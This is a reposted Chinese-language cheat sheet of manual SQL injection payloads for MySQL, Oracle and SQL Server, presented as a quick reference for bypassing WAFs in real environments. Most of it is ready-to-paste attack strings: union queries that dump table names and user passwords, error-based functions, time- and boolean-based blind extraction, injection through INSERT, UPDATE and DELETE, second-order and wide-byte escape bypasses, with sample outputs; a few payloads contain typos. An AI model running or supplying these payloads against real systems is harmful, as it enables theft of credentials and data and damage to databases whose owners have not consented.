SQL手工注入总结

转载自 Norah C.IV
转载自乌雲安全

虽说目前互联网上已经有很多关于 sql 注入的神器了，但是在这个 WAF 横行的时代，手工注入往往在一些真实环境中会显得尤为重要。本文主要把以前学过的知识做个总结，不会有详细的知识解读，类似于查询手册的形式，便于以后的复习与查阅，文中内容可能会存在错误，望师傅们斧正！

0x01 Mysql 手工注入

1.1 联合注入

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?id=1' order by 4--+?id=0' union select 1,2,3,database()--+?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+#group_concat 可替换为 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+

1.2 报错注入

1.floor()select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()select * from test where id=1 and exp(~(select * from(select user())a));

每个一个报错语句都有它的原理：

exp() 报错的原理：exp 是一个数学函数，取e的x次方，当我们输入的值大于709就会报错，然后 ~ 取反它的值总会大于709，所以报错。

updatexml() 报错的原理：由于 updatexml 的第二个参数需要 Xpath 格式的字符串，以 ~ 开头的内容不是 xml 格式的语法，concat() 函数为字符串连接函数显然不符合规则，但是会将括号内的执行结果以错误的形式报出，这样就可以实现报错注入了。

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爆库：?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +爆表：?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +爆字段：?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +爆数据：?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

这里需要注意的是它加了连接字符，导致数据中的 md5 只能爆出 31 位，这里可以用分割函数分割出来：

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substr(string string,num start,num length);#string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +

1.3 盲注

1.3.1 时间盲注

时间盲注也叫延时注入一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)

一般时间盲注我们还需要使用条件判断函数

1 2	#if（expre1，expre2，expre3）当 expre1 为 true 时，返回 expre2，false 时，返回 expre3 #盲注的同时也配合着 mysql 提供的分割函substr、substring、left

我们一般喜欢把分割的函数编码一下，当然不编码也行，编码的好处就是可以不用引号，常用到的就有 ascii() hex() 等等

1	?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

1.3.2 布尔盲注

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?id=1' and substr((select user()),1,1)='r' -- +?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +#如果 IFNULL 第一个参数的表达式为 NULL，则返回第二个参数的备用值，不为 Null 则输出值
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +#若所有的字符串均相同，STRCMP() 返回 0，若根据当前分类次序，第一个参数小于第二个，则返回 -1 ，其它情况返回 1

1.4 insert,delete,update

insert,delete,update 主要是用到盲注和报错注入，此类注入点不建议使用 sqlmap 等工具，会造成大量垃圾数据，一般这种注入会出现在注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现，我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行，然后如果插入失败，更新失败，然后深入测试确定是否存在注入

1.4.1 报错

mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;+------+-----------------------------------------------+----------+| id   | username                                      | password |+------+-----------------------------------------------+----------+|    1 | admin                                         | admin    ||    1 | and 1=1                                       | admin    ||    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin    |+------+-----------------------------------------------+----------+3 rows in set (0.00 sec)
mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
#delete 注入很危险，很危险，很危险，切记不能使用 or 1=1 ，or 右边一定要为falsemysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

1.4.2 盲注

#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");Query OK, 1 row affected (5.00 sec)
mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");Query OK, 1 row affected (0.00 sec)
#字符型注意闭合不能使用andmysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");Query OK, 1 row affected (5.01 sec)
# delete 函数 or 右边一定要为 falsemysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);Query OK, 0 rows affected (5.00 sec)
#update 更新数据内容mysql> select * from admin;+------+----------+----------+| id   | username | password |+------+----------+----------+|    2 | 1        | admin    ||    2 | 1        | admin    ||    2 | 1        | admin    ||    2 | admin    | admin    |+------+----------+----------+4 rows in set (0.00 sec)
mysql> update admin set id="5"+sleep(5)+"" where id=2;Query OK, 4 rows affected (20.00 sec)Rows matched: 4  Changed: 4  Warnings: 0

1.5 二次注入与宽字节注入

二次注入的语句：在没有被单引号包裹的sql语句下，我们可以用16进制编码他，这样就不会带有单引号等。

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mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;+----+-----------+-------+| id | name      | pass  |+----+-----------+-------+|  1 | admin     | admin ||  2 | admin'111 | 11111 ||  3 | admin'--+ | 11    |+----+-----------+-------+4 rows in set (0.00 sec)

二次注入在没有源码的情况比较难发现，通常见于注册，登录恶意账户后，数据库可能会因为恶意账户名的问题，将 admin’–+ 误认为 admin 账户

宽字节注入：针对目标做了一定的防护，单引号转变为 \' , mysql 会将 \ 编码为 %5c ，宽字节中两个字节代表一个汉字，所以把 %df 加上 %5c 就变成了一个汉字“運”，使用这种方法成功绕过转义，就是所谓的宽字节注入

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id=-1%df' union select...
#没使用宽字节%27 -> %5C%27
#使用宽字节%df%27 -> %df%5c%27 -> 運'

0x02 Oracle 手工注入

2.1 联合注入

?id=-1' union select user,null from dual--?id=-1' union select version,null from v$instance--?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--?id=-1' union select username,passwd from users--?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

2.2 报错注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

2.3 盲注

2.3.1 布尔盲注

既然是盲注，那么肯定涉及到条件判断语句，Oracle除了使用IF the else end if这种复杂的，还可以使用 decode() 函数。
语法：decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值);

该函数的含义如下：

IF 条件=值1 THEN　　　　RETURN(返回值1)ELSIF 条件=值2 THEN　　　　RETURN(返回值2)　　　　......ELSIF 条件=值n THEN　　　　RETURN(返回值n)ELSE　　　　RETURN(缺省值)END IF

1	?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--?id=1' and ascii(substr(user,1,1))> 64-- #二分法

2.3.2 时间盲注

可使用DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延迟时间)函数进行时间盲注，这个函数可以指定延迟的时间

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--

0x03 SQL server 手工注入

3.1 联合注入

?id=-1' union select null,null--?id=-1' union select @@servername, @@version--?id=-1' union select db_name(),suser_sname()--?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--

3.2 报错注入

1	?id=1' and 1=(select 1/@@servername)--?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--

3.3 盲注

3.3.1 布尔盲注

1	?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--

3.3.2 时间盲注

1	?id= 1';if(2>1) waitfor delay '0:0:5'--?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay '0:0:2'--

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